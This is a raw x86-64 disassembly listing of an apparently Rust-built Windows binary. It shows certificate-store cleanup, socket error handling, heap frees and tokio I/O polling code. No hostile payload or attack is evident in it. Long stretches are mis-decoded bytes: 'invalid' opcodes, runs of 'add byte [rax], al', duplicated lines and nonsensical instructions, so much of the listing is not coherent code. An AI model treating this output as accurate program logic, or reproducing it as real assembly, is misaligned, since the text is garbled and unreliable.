call fcn.140121660
movzx r14d, byte [rsi + 0x252]
lea r15, [0x14015b2d8]
xor ebp, ebp
mov rax, qword [rsi + 0x220]
lock dec qword [rax]
jne 0x1400be6be
mov rcx, qword [rsi + 0x220]
call fcn.1400ca680
mov rax, qword [rsi + 0x228]
lock dec qword [rax]
je 0x1400be89d
cmp qword [rsi + 0x200], 0
je 0x1400be6e6
mov rcx, qword [rsi + 0x208]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rsi + 0x210]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
add al, byte [rax]
add byte [rcx], dh
sar bh, cl
adc eax, 0x70abb
cmp qword [rsi + 0x1c8], 0
add byte [rax], al
je 0x1400be70c
mov rcx, qword [rsi + 0x1d0]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rsi + 0x1d8]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
mov rax, qword [rsi + 0x1b0]
lock dec qword [rax]
je 0x1400be8c3
mov rax, qword [rsi + 0x1b8]
lock dec qword [rax]
je 0x1400be8e0
mov rax, qword [rsi + 0x148]
lock dec qword [rax]
je 0x1400be904
cmp byte [rsi + 0x140], 2
jne 0x1400be5d8
jmp 0x1400be5f7
mov rcx, qword [rsi + 0x1b0]
call fcn.1400ca680
mov rax, qword [rsi + 0x1b8]
lock dec qword [rax]
jne 0x1400be5bb
mov rcx, qword [rsi + 0x1b8]
mov rdx, qword [rsi + 0x1c0]
add dword [rax], eax
invalid
mov eax, 0x48000001
mov edx, dword [rsi + 0x1c0]
add dword [rax], eax
invalid
add dword [rax], eax
add al, ch
nop
mov ebp, 0x8b480000
xchg byte [rax + 1], cl
add byte [rax], al
call case.0x14009a20c.177
mov rax, qword [rsi + 0x148]
lock dec qword [rax]
jne 0x1400be5cc
mov rcx, qword [rsi + 0x148]
call fcn.1400cc150
mov bpl, 2
cmp byte [rsi + 0x140], 2
jne 0x1400be5d8
jmp 0x1400be5f7
lea rcx, [rsp + 0x280]
lea rdx, [rsp + 0x158]
mov r8d, 0x128
call fcn.140121660
cmp byte [rsi + 0x151], 0
jne 0x1400be827
mov rcx, qword [rsp + 0x2a8]
cmp rcx, 0xffffffffffffffff
je 0x1400be9da
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0x30]
mov edx, 6
mov r8d, 1
add byte [rax], al
add bh, bh
adc eax, 0x70d9a
add byte [rax], al
add bh, bh
adc eax, 0x70d9a
cmp eax, 0xffffffff
je 0x1400be922
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x280]
mov r8d, 0x128
call fcn.140121660
movzx eax, byte [0x14019f308]
mov edx, 0x128
add dword [rax], eax
add byte [rcx], dh
leave
add dword [rax], eax
add byte [rcx], dh
leave
call fcn.1400f8ae0
add eax, dword [rax]
test rax, rax
je 0x1400be9cb
mov rbx, rax
lea rdx, [rsp + 0x30]
mov r8d, 0x128
mov rcx, rax
call fcn.140121660
movzx ebp, byte [rsi + 0x152]
movzx r14d, byte [rsi + 0x252]
lea r15, [0x14015b1b8]
mov rax, qword [rsi + 0x220]
lock dec qword [rax]
je 0x1400be6b2
jmp 0x1400be6be
mov rcx, qword [rsi + 0x228]
mov rdx, qword [rsi + 0x230]
mov gs, word [rax]
add al, byte [rax]
add byte [rax - 0x75], cl
xchg esi, eax
xor byte [rdx], al
add byte [rax], al
call case.0x14009a20c.177
cmp qword [rsi + 0x200], 0
jne 0x1400be6d9
jmp 0x1400be6e6
mov rcx, qword [rsi + 0x1b0]
call fcn.1400ca680
mov rax, qword [rsi + 0x1b8]
lock dec qword [rax]
jne 0x1400be73d
invalid
invalid
invalid
invalid
mov rcx, qword [rsi + 0x1b8]
mov rdx, qword [rsi + 0x1c0]
call case.0x14009a20c.177
mov rax, qword [rsi + 0x148]
add byte [rax], al
add byte [rax], al
lock dec qword [rax]
jne 0x1400be74e
mov rcx, qword [rsi + 0x148]
call fcn.1400cc150
cmp byte [rsi + 0x140], 2
jne 0x1400be5d8
jmp 0x1400be5f7
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
mov r14d, eax
movzx eax, byte [0x14019f308]
add byte [rdx + 8], bh
add byte [rdx + 8], bh
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x1400be9e6
mov rbx, rax
shl r14, 0x20
or r14, 2
mov qword [rax], r14
lea rcx, [rsp + 0x280]
call fcn.1400a73b0
lea r15, [0x140159800]
mov rax, qword [rsi + 0x220]
add byte [rax], al
add byte [rax], al
lock dec qword [rax]
jne 0x1400be53c
mov rcx, qword [rsi + 0x220]
add byte [rax], al
call fcn.1400ca680
mov rax, qword [rsi + 0x228]
lock dec qword [rax]
jne 0x1400be54d
mov rcx, qword [rsi + 0x228]
mov rdx, qword [rsi + 0x230]
mov edx, dword [rsi + 0x230]
call case.0x14009a20c.177
cmp qword [rsi + 0x200], 0
jne 0x1400be557
add byte [rax], al
add byte [rdi], cl
test dword [rdi - 0x16000005], ebx
cmpsd dword [rsi], dword [rdi]
sti
invalid
jmp 0x1400be564
lea ecx, [0x14015db98]
call fcn.140122c50
mov ecx, 8
mov edx, 0x128
call fcn.140122190
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_srciopoll_evented.rs
call fcn.140122a00
mov ecx, 8
mov edx, 8
call fcn.140122190
int3
int3
add eax, dword ds:[rax]
add byte [rax], al
je 0x1400beaa4
invalid
lea rcx, [rsi + 0x2e8]
mov rax, qword [rsi + 0x2d0]
rol byte [rdx], 1
add byte [rax], al
mov rdx, qword [rsi + 0x2d8]
mov r8, qword [rsi + 0x2e0]
call qword [rax + 0x10]
mov byte [rsi + 0x33e], 0
cmp qword [rsi + 0x2b8], 0
je 0x1400beacb
mov r8, qword [rsi + 0x2c0]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp dword [rsi + 0x190], 2
jne 0x1400beb00
mov esi, 0x190
add dh, byte [rbp + 0x2c]
lea rcx, [rsi + 0x198]
call fcn.1400978b0
jmp 0x1400beb0c
lea rcx, [rsi + 0x190]
call fcn.1400a73b0
mov byte [rsi + 0x33f], 0
add rsp, 0x20
pop rsi
ret
mov ds, word [rax + 1]
add byte [rax], al
mov rax, qword [rsi + 0x140]
mov rdx, qword [rsi + 0x148]
mov r8, qword [rsi + 0x150]
xchg byte [rax + 1], dl
add byte [rax], al
xchg byte [rax + 1], dl
add byte [rax], al
call qword [rax + 0x10]
cmp byte [rsi + 0x188], 2
je 0x1400beb13
mov rax, qword [rsi + 0x168]
mov rdx, qword [rsi + 0x170]
mov rax, qword [rax + 0x10]
mov r8, qword [rsi + 0x178]
add rsi, 0x180
mov rcx, rsi
add rsp, 0x20
pop rsi
jmp rax
cmp dword [rsi], 0
je 0x1400bebed
mov rcx, qword [rsi + 8]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
or byte [rcx], dh
sar bh, cl
adc eax, 0x705c3
mov rax, qword [rsi + 0x1a0]
neg rax
jo 0x1400bec11
jae 0x1400bec11
mov r8, qword [rsi + 0x1a8]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x200]
test rax, rax
je 0x1400bec36
lock dec qword [rax]
jne 0x1400bec36
mov rcx, qword [rsi + 0x200]
mov rdx, qword [rsi + 0x208]
call case.0x14009a20c.177
cmp dword [rsi + 0x10], 2
jne 0x1400bec51
lea rcx, [rsi + 0x18]
call fcn.1400978b0
dec dword [rax - 0x7d]
mov esi, 0x140
add byte [rbp + 0x15], dh
dec dword [rax - 0x7d]
mov esi, 0x140
add byte [rbp + 0x15], dh
jmp 0x1400bec7a
lea rcx, [rsi + 0x10]
call fcn.1400a73b0
cmp qword [rsi + 0x140], 0
invalid
je 0x1400bec7a
mov r8, qword [rsi + 0x148]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
add byte [rcx], dh
sar bh, cl
adc eax, 0x707c6
cmp qword [rsi + 0x160], 0
je 0x1400bec9a
invalid
mov r8, qword [rsi + 0x168]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsi + 0x180], 0
je 0x1400becba
mov r8, qword [rsi + 0x188]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x1b8]
mov rcx, rax
neg rcx
jo 0x1400bed3d
mov rdi, qword [rsi + 0x1c8]
test rdi, rdi
je 0x1400bed18
mov rbx, qword [rsi + 0x1c0]
add rbx, 8
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400becf9
test rax, rax
je 0x1400bed3d
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
and byte [rdi], cl
mov dh, 0x81
loopne 0x1400bed60
add byte [rax], al
test eax, eax
je 0x1400bed9f
cmp eax, 3
jne 0x1400bee15
lodsb al, byte [rsi]
add byte [rax], al
invalid
lodsb al, byte [rsi]
add byte [rax], al
add byte [rdi], cl
mov dh, 0x81
mov al, 4
movzx eax, byte [rcx + 0x4b0]
add byte [rax], al
cmp eax, 4
je 0x1400bedd8
cmp eax, 3
je 0x1400bedb2
test eax, eax
jne 0x1400bee15
invalid
xchg ebx, eax
add byte [rax], al
invalid
lea rax, [rcx + 0x140]
cmp dword [rax], 2
jne 0x1400bedec
add dword [rax], eax
add byte [rbx + 0x5e750238], al
pop rsi
add rcx, 0x148
add rsp, 0x20
pop rsi
jmp fcn.1400978b0
add byte [rax - 0x7d], cl
invalid
cmp dword [rcx], 2
jne 0x1400bedef
add rcx, 8
add rsp, 0x20
pop rsi
jmp fcn.1400978b0
mov rax, qword [rcx + 0x4b8]
cmp rax, 3
je 0x1400bee0e
cmp eax, 2
jne 0x1400bedf9
lea rax, [rcx + 0x4c0]
mov rsi, rcx
add eax, 0x48000004
mov esi, ecx
mov rcx, rax
call fcn.1400978b0
jmp 0x1400bee0b
shr eax, 0xda
mov bh, ch
invalid
lea rax, [rcx + 0x4b8]
mov rsi, rcx
mov rcx, rax
call fcn.1400beba0
jmp 0x1400bee0b
mov rcx, rax
add rsp, 0x20
pop rsi
jmp fcn.1400a73b0
lea rax, [rcx + 0x4b8]
mov rsi, rcx
mov rcx, rax
call fcn.1400a73b0
mov rcx, rsi
mov byte [rcx + 0x4b1], 0
add rsp, 0x20
pop rsi
ret
add byte [rax], al
add byte [rax], al
add byte [rax], al
sbb al, byte [rcx]
add byte [rax], al
mov r14d, 0xbe80fff9
add byte [rax], 0
inc dword [rax + 0x80be]
add byte [rdx], al
push rax
adc byte [rax - 0x75], cl
or eax, 0xe02f0
mov eax, dword [rsi + 0x90]
movabs al, byte [0xc0b81050ff000000]
add byte [rax], al
add byte [rdx + 0xb8], bh
add bh, bh
push rax
adc byte [rax + 0xc0], bh
add byte [rax], al
add byte [rcx - 0x48], al
mov al, 0
add byte [rax], al
add byte [rax], al
and byte [rdx], al
add byte [rax], al
add byte [rax - 0x75], cl
xchg byte [rax - 0xfffffff], bh
dec qword [rax]
invalid
dec dword [rax - 0x75]
invalid
add dword [rbp - 0x74b80000], esi
xchg byte [rax + 1], cl
add dword [rax], eax
invalid
invalid
xor byte [rcx], al
add byte [rax], al
add dword [rax], eax
add byte [rsi - 0x75], cl
mov r8, qword [rsi + r8]
mov eax, dword [rsi + rax]
add al, 6
jmp rcx
add byte [rax - 0x77], cl
invalid
sbb byte [rax - 0x75], cl
invalid
jl 0x1400bf0db
invalid
add byte [rcx], dh
ror byte [rcx - 0x77], cl
invalid
invalid
clc
add byte [rax], al
xchg al, dh
add byte [rax], al
add bh, bh
invalid
push rax
adc byte [rax - 0x73], cl
mov ds, word [rax]
add dword [rax], eax
add byte [rax - 0x75], cl
mov eax, dword [rsi + 0x100]
mov rdx, qword [rsi + 0x108]
enter 0, 0
add dh, byte [rdi + rbx + 0x48]
lea ecx, [rsi + 0xc0]
add byte [rax], al
xchg esi, eax
nop
add byte [rax], al
add byte [rax - 0x75], cl
adc byte [rbx + rcx*4 - 0x7a], cl
mov eax, dword [rsi + 0x98]
invalid
invalid
mov eax, dword [rsi + 0x98]
invalid
mov edi, dword [rsi + 0x2d8]
add byte [rax - 0x75], cl
sahf
loopne 0x1400bf199
add byte [rax], al
jnp 0x1400bf1b2
add byte [rbp + rbx + 0x48], dh
cmp dword [rbx + 0x10], 0x11
adc byte [rcx], dl
adc byte [rcx], dl
add byte [rsi], cl
add byte [rcx], dh
ror byte [rcx - 0x77], cl
clc
test byte [rdi + 1], cl
add byte [rax], al
cmp dword [rsi + 0x290], 0
add al, byte [rax]
add byte [rax - 0x75], cl
xchg byte [rax + 2], dl
add byte [rax], al
add al, byte [rax]
add bh, bh
push rax
adc dh, al
or byte [rbx + rcx*4 + 0x47], cl
adc bh, bh
push rax
adc byte [rax - 0x75], cl
invalid
invalid
or eax, 0xdffe5
add dword [rax], eax
add byte [rax - 0x75], cl
xchg esi, eax
rol byte [rcx], 0
add byte [rbx + rcx*4 - 0x7a], cl
mov eax, dword [rsi + 0x1c8]
add byte [rax], al
xchg esi, eax
loopne 0x1400bf2b1
add byte [rax], al
add byte [rbx + rcx*4 - 0x7a], cl
call 0x13f0bf2bb
push rax
adc byte [rax + 0x2d5be], al
add byte [rax], al
mov esi, 0x2d5
add byte [rsp + rcx + 0x48], dh
or al, 0x48
or al, 0x48
lea ecx, [rsi + 0x128]
inc esi
xchg ch, dl
add al, byte [rax]
add byte [rax], al
mov ecx, dword [rsi + 0x9d0]
add byte [rcx], dh
sar bh, cl
adc eax, 0x6fe9e
add byte [rax], al
add byte [rax - 0x7d], cl
mov esi, 0x290
add byte [rdi], cl
test dword [rsi - 0x16000002], ecx
invalid
invalid
invalid
invalid
invalid
xchg esi, eax
invalid
add byte [rax], al
test eax, eax
invalid
je case.0x1400c2307.65
cmp eax, 3
je 0x1400bf3bb
cmp eax, 4
jne 0x1400bf429
add rcx, 0x270
lea rax, [rcx + 0x270]
mov rsi, rcx
dec qword [rdx]
dec qword [rdx]
mov eax, 0x258
invalid
movzx edi, byte [rsp + 0xc1]
movq mm6, qword [rsp + 0xb0]
add byte [rax], al
and al, 0x28
add byte [rax], al
add al, byte [rax]
add al, ch
adc eax, 0x4c000394
xchg esp, eax
add eax, dword [rax]
add rax, r14
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0x358], eax
and al, 0x58
add eax, dword [rax]
invalid
and al, 0x58
add eax, dword [rax]
add bl, dh
movq mm0, qword [rsp + 0xa0]
std
or eax, 0x8b486500
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
add byte [rax], al
and al, 0x51
add byte [rbx + rcx*4 + 0x2c], cl
ror dword [rcx - 0x73], 0x8d
fadd dword [rax]
add byte [rax], al
fld dword ss:[rdx]
add byte [rcx - 0x3a], al
test dword [rax], ebp
add dword [rax], eax
add byte [rcx], al
or eax, 0x8b486500
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
mov eax, dword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
and al, 0x52
mov dword [rsp + 0x34], eax
and al, 0x30
invalid
add dword [rax + rdx + 0x48], esi
mov eax, dword [rcx]
invalid
idiv bh
add eax, 0x85480000
sal byte [rdx + rcx + 0x48], 0x8b
invalid
add eax, 0x50ff0000
sbb byte [rcx - 0x49], al
add al, byte [rax - 0x80]
std
add dh, byte [rax + rdi + 0x40]
movzx eax, ch
invalid
invalid
and al, 0x28
add dh, byte [rbx + rdx*2 - 0x7d]
clc
add dword [rbp + rbp - 0x75], esi
sub eax, 0xfa7f058b
invalid
invalid
adc eax, 0x416c8
xlatb
add al, byte [rax]
and eax, 0x58
test al, 0x24
add dword [rax], eax
add dh, al
and byte [0x1400bf8d7], 0x40
test ch, ch
and al, 1
add byte [rax], al
mov rcx, qword [rcx + 8]
mov r9, qword [rcx + 0x18]
sbb byte [r8 - 0x77], cl
ror dword [rcx - 1], 0xe1
sbb byte [r8 - 0x77], cl
ror dword [rcx - 1], 0xe1
int3
int3
int3
int3
or byte [rbx + rcx*4 + 0x51], cl
and byte [rax - 0x77], cl
ror dword [rcx - 1], 0xe2
int3
cmp byte [rax - 0x77], cl
ror dword [rcx - 1], 0xe2
int3
or byte [rax - 0x77], cl
ror dword [rax - 1], 0x62
int3
sub byte [rax - 0x77], cl
ror dword [rcx - 1], 0xe0
int3
int3
xor byte [r8 - 0x77], cl
ror dword [rcx - 1], 0xe0
int3
add eax, 0xdf94c
mov edx, 0x1e
xor ecx, ecx
invalid
invalid
mov dh, 5
sbb al, 0xf9
or eax, 0x18ba00
sbb byte [rax], al
sbb byte [rax], al
add byte [rax], al
and byte [rsi - 0x3d], bl
add byte [rax], al
int3
push rsp
add al, 0xf
mov eax, dword [rsi + 0x110]
add byte [rax], al
test byte [rax + riz], ah
add dword [rax], eax
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*2], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
movzx r9d, byte [rdx]
lea r10, [0x140194d58]
movsxd r9, dword [r10 + r9*4]
add r9, r10
invalid
invalid
and al, 0xe0
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xd0], ecx
mov word [rax + rdx*8], fs
add byte [rax], al
invalid
mov word [rax + rdx*8], fs
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xc0
rol byte [rax], 1
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x7d], cl
clc
add cl, byte [rdi]
test byte [rcx + 0xa], cl
add byte [rax], al
rol byte [rax], 1
add byte [rax], al
invalid
add byte [rax - 0x77], cl
stc
add byte [rax], al
and al, 0x28
fimul word [rsi - 0x76b7000c]
test byte [rax + rcx*8], ah
add byte [rax], al
add byte [rcx + rcx*4 - 0x54], cl
and al, 0xd0
add byte [rax], al
add cl, ch
invalid
jmp 0x1400bfbf8
add byte [rbx + 0x1388e], cl
add byte [rax - 0x7d], cl
ror dword [rcx], 0x48
mov dword [rsp + 0xa0], edi
mov dword [rsp + 0xa8], ecx
lea ecx, [rsp + 0x50]
add byte [rax], al
push rdx
xor al, 0x44
mov ecx, dword [rdx + 0x38]
rol byte [rcx - 0xa], cl
mov byte [rcx], 0x41
mov ecx, 6
lea edx, [rcx + 6]
movabs al, byte [0x8349cc0f49000000]
clc
add dh, byte [rdi + 0x1b]
add byte [rax], al
mov dword [rsi + 0x108], ecx
dec dword [rax - 0x75]
mov cs, word [rax]
add dword [rax], eax
add byte [rax - 0x75], cl
xchg byte [rax], dl
add dword [rax], eax
add byte [rax - 0x75], cl
invalid
add byte [rax - 0x7d], cl
cli
add esi, dword [rdi + 0x1b]
add byte [rax - 0x75], cl
invalid
cmp ecx, eax
ror dword [rdi], 0x87
jnp 0x1400bff39
add byte [rax], al
test dh, 1
xchg ebp, eax
add al, 0
add byte [rax - 0x73], cl
mov word [rax + riz*4], fs
add byte [rax], al
add byte [rcx], dh
test byte [rsp + rcx*2], ah
add dh, dh
and al, 0x4e
add dword [rdi], ecx
je 0x1400c042d
lea rcx, [rsp + 0xa0]
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], al
test byte [rsp + rbx*2], ah
test byte [rsp + rbx*2], ah
add dword [rax], eax
add al, ch
int1
pop rbp
cmc
push rsi
and al, 0x4f
add dword [rdi], ecx
jne 0x1400c0438
test dword [rax - 0x16fffffc], ebx
xchg ecx, eax
or al, byte [rax]
add byte [rax - 0x73], cl
lea rax, [rdx + 8]
mov r15d, dword [rdx + 0x118]
and al, 0xa0
add byte [rax], al
add byte [rax - 0x77], cl
mov word [rax + rbp*4], fs
movabs al, byte [0xa8248c8948000000]
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x28
add dword [rax], eax
add byte [rax], al
lea ecx, [rsp + 0x50]
cmp byte [rcx + rax + 0x6c], cl
and al, 0x30
insb byte [rdi], dx
and al, 0x60
rol byte [rax], 0
add byte [rax - 0x75], cl
and al, 0x60
and al, 0xd0
add byte [rax], al
invalid
add byte [rax - 0x75], cl
and al, 0x68
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
pushfq
and al, 0xd0
add byte [rax], al
add byte [rax - 0x73], cl
push rbx
or byte [rax - 0x73], cl
mov word [rax + rbp*2], fs
add dword [rax], eax
add byte [rcx - 0x77], cl
clc
adc byte [rcx], al
add byte [rax], al
dec dword [rax - 0x75]
xchg byte [rax], cl
add dword [rax], eax
add byte [rax - 0x75], cl
mov ss, word [rax]
add dword [rax], eax
add byte [rax - 0x75], cl
invalid
add cl, byte [rax - 0x7d]
rol byte [rax + rcx*2], 0x89
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax + 0x39], cl
enter 0xffffffffffff870f, 0x5c
or eax, 0x89480000
xchg byte [rax], cl
add dword [rax], eax
add byte [rbx + 0xe424ac], cl
add byte [rax], al
cli
add esi, dword [rdi + 0x1b]
or eax, 0x89480000
xchg byte [rax], cl
add dword [rax], eax
add byte [rax - 0x7b], cl
fisttp dword [rdi]
test byte [rax + 2], ah
add byte [rax], al
hlt
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x9c697
test byte [rax + rbx*8], ah
add byte [rax], al
add bh, bh
push rax
adc cl, ch
mov byte [0x17b5405c1], al
xchg byte [rax], ch
add dword [rax], eax
add byte [rbx + 0x2f], dh
add byte [rax], al
and al, 0x60
add byte [rax - 0x75], cl
test byte [rax + rsi], ah
add dword [rax], eax
add byte [rax - 0xa], al
mov byte [rcx], 0x74
adc cl, byte [rbx + rcx*4 + 0x40]
adc byte [rcx - 1], cl
enter 0xffffffffffff8349, 0xffffffffffffffe0
loopne 0x1400c0bb3
test dh, 1
loopne 0x1400c0bb3
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
js 0x1400c0e9b
mov edx, dword [rsi + 0x80]
xchg byte [rax - 0x1000000], cl
push rax
adc bl, ch
outsd dx, dword [rsi]
dec dword [rbx + rcx*4 - 0x7a]
rol byte [rax], 0
add byte [rax - 0x75], cl
or eax, 0xde3ae
or eax, 0xde38c
sub byte [rsp + 0x70], dl
mov eax, dword [rsp + 0x120]
invalid
add byte [rax - 0x77], cl
and al, 0x50
and al, 7
add byte [rbp + rcx*4 + 5], cl
mov esp, dword [rdi + rax]
add byte [rdx + 0x3e], bh
mov rax, qword [rbx + 0xc0]
mov rdx, qword [rbx + 0xc8]
mov r8, qword [rbx + 0xd0]
mov rcx, qword [rsp + 0xb0]
call qword [rax + 0x10]
mov qword [rbx + 0xb8], 3
mov qword [rbx + 0xc0], rdi
mov rax, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0xb8]
mov qword [rcx + 0x10], rax
movaps xmm0, xmmword [rsp + 0xc0]
movups xmmword [rcx], xmm0
mov dword [rbx + 0xe0], ebp
mov rdi, qword [r14]
lea rax, [rdi - 3]
cmp rax, 1
ja 0x1400c12d0
mov rax, qword [rbx + 0x120]
cmp rax, qword [rbx + 0x108]
jae 0x1400c1360
mov rcx, qword [rbx + 0x140]
mov rax, qword [rbx + 0x148]
call qword [rax + 0x40]
test al, al
je 0x1400c14f7
mov eax, 0x38
nop word cs:[rax + rax]
mov dword [rsp + rax + 0xa8], 0
mov qword [rsp + rax + 0xb0], 1
mov dword [rsp + rax + 0xb8], 0
mov qword [rsp + rax + 0xc0], 1
mov dword [rsp + rax + 0xc8], 0
mov qword [rsp + rax + 0xd0], 1
mov dword [rsp + rax + 0xd8], 0
mov qword [rsp + rax + 0xe0], 1
add rax, 0x40
cmp rax, 0x438
jne 0x1400c1210
mov rcx, qword [rbx + 0x108]
mov rax, qword [rbx + 0x120]
sub rcx, rax
jbe 0x1400c17db
cmovb rcx, r12
mov rdx, rcx
shr rdx, 0x20
jne 0x1400c1d7f
mov rdx, qword [rsp + 0x28]
add rax, qword [rdx]
mov dword [rsp + 0xe0], ecx
mov qword [rsp + 0xe8], rax
mov r9d, 1
jmp 0x1400c17de
test rdi, rdi
je 0x1400c12f3
cmp edi, 1
jne 0x1400c12fc
mov rax, qword [rbx + 0xc8]
sub rax, qword [rbx + 0xd0]
mov ecx, 0
cmovae rcx, rax
jmp 0x1400c12fe
mov rcx, qword [rbx + 0xd0]
jmp 0x1400c12fe
xor ecx, ecx
mov rax, qword [rbx + 0xe0]
cmp rcx, rax
cmovae rcx, rax
test rcx, rcx
je 0x1400c1360
mov rcx, qword [rbx + 0x108]
sub rcx, qword [rbx + 0x120]
cmovb rcx, r12
test rdi, rdi
je 0x1400c1546
mov edx, 0
cmp edi, 1
jne 0x1400c154d
mov r8, qword [rbx + 0xc8]
sub r8, qword [rbx + 0xd0]
mov edx, 0
cmovae rdx, r8
jmp 0x1400c154d
mov qword [rbx + 0x120], 0
mov qword [rbx + 0x108], 0
mov qword [rbx + 0xb8], 4
cmp edi, 3
jne 0x1400c1a4f
mov rax, qword [rsp + 0x58]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x70], xmm1
movaps xmmword [rsp + 0x60], xmm0
mov ebp, dword [rbx + 0xe0]
mov eax, dword [rbx + 0x138]
add rax, 9
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0xa0], rcx
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0xe0], 0
mov r8d, 3
lea rdi, [rsp + 0xa0]
mov rcx, rdi
lea rdx, [rsp + 0xe5]
call fcn.140022fe0
mov byte [rsp + 0xe0], 9
mov r8d, 1
mov rcx, rdi
lea rsi, [rsp + 0xe0]
mov rdx, rsi
call fcn.140022fe0
mov byte [rsp + 0xe0], 4
mov r8d, 1
mov rcx, rdi
mov rdx, rsi
call fcn.140022fe0
mov eax, ebp
bswap eax
mov dword [rsp + 0xe0], eax
mov r8d, 4
mov rcx, rdi
mov rdx, rsi
call fcn.140022fe0
mov rax, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0xa8]
mov r15, qword [rax + 8]
mov r13, qword [rsp + 0x70]
mov rsi, r15
not rsi
cmp rsi, rcx
cmovae rsi, rcx
cmp r13, rsi
jbe 0x1400c14e0
test rsi, rsi
je 0x1400c168d
mov rax, qword [rsp + 0x60]
mov r8, qword [rsp + 0x68]
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x78]
mov r9, r13
call qword [rax]
sub qword [rsp + 0x70], rsi
add qword [rsp + 0x68], rsi
mov qword [rsp + 0xf0], rsi
movups xmm0, xmmword [rsp + 0xe0]
movaps xmmword [rsp + 0x80], xmm0
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x98], rax
jmp 0x1400c16b3
mov rdx, qword [rsp + 0x68]
mov rcx, rdi
mov r8, r13
call fcn.140022fe0
xor edi, edi
jmp 0x1400c1713
mov r9, qword [rbx + 0x108]
mov rax, qword [rbx + 0x120]
mov r8, qword [rbx + 0x100]
add r8, rax
sub r9, rax
mov eax, 1
cmovbe r8, rax
cmovb r9, r12
mov rcx, qword [rbx + 0x140]
mov rax, qword [rbx + 0x148]
mov rdx, qword [rsp + 0x20]
call qword [rax + 0x20]
mov r13, rdx
test rax, rax
je 0x1400c1808
jmp 0x1400c1adb
mov rdx, qword [rbx + 0xd0]
cmp rdx, rax
cmovb rax, rdx
mov rdx, rcx
add rdx, rax
jb 0x1400c1d62
or rax, rcx
je 0x1400c11c1
mov rcx, qword [rbx + 0x140]
mov rax, qword [rbx + 0x148]
call qword [rax + 0x40]
test al, al
je 0x1400c1659
mov eax, 0x38
nop word [rax + rax]
mov dword [rsp + rax + 0xa8], 0
mov qword [rsp + rax + 0xb0], 1
mov dword [rsp + rax + 0xb8], 0
mov qword [rsp + rax + 0xc0], 1
mov dword [rsp + rax + 0xc8], 0
mov qword [rsp + rax + 0xd0], 1
mov dword [rsp + rax + 0xd8], 0
mov qword [rsp + rax + 0xe0], 1
add rax, 0x40
cmp rax, 0x438
jne 0x1400c1590
mov rcx, qword [rbx + 0x108]
mov rax, qword [rbx + 0x120]
sub rcx, rax
jbe case.0x1400679a0.697
cmovb rcx, r12
mov rdx, rcx
shr rdx, 0x20
jne 0x1400c1d7f
mov rdx, qword [rsp + 0x28]
add rax, qword [rdx]
mov dword [rsp + 0xe0], ecx
mov qword [rsp + 0xe8], rax
mov eax, 1
lea rcx, [rsp + 0xf0]
mov r8, qword [r14]
cmp r8, 2
jne 0x1400c1845
xor r9d, r9d
jmp 0x1400c18b3
mov rax, qword [rbx + 0x108]
mov rcx, qword [rbx + 0x120]
cmp rax, rcx
jbe 0x1400c1865
mov rdx, qword [rsp + 0x28]
mov r8, qword [rdx]
add r8, rcx
sub rax, rcx
mov r9d, 0
cmovae r9, rax
jmp 0x1400c19bf
mov qword [rsp + 0x88], 1
lea rax, [rsp + 0x90]
movups xmmword [rax], xmm6
lea rax, [0x140130408]
mov qword [rsp + 0x80], rax
mov r12, qword [rsp + 0x88]
mov rdi, qword [rsp + 0x90]
lea rcx, [rsp + 0xa0]
mov rdx, r12
mov r8, rdi
call fcn.140022fe0
idiv bh
idiv bh
mov rax, qword [rsp + 0x80]
lea rcx, [rsp + 0x98]
mov rdx, r12
mov r8, rdi
call qword [rax + 0x10]
mov rdi, qword [rsp + 0x60]
lea rax, [rsp + 0x68]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0xe0], xmm0
mov rax, qword [rax + 0x10]
mov qword [rsp + 0xf0], rax
xor r12d, r12d
mov rax, qword [rsp + 0xa0]
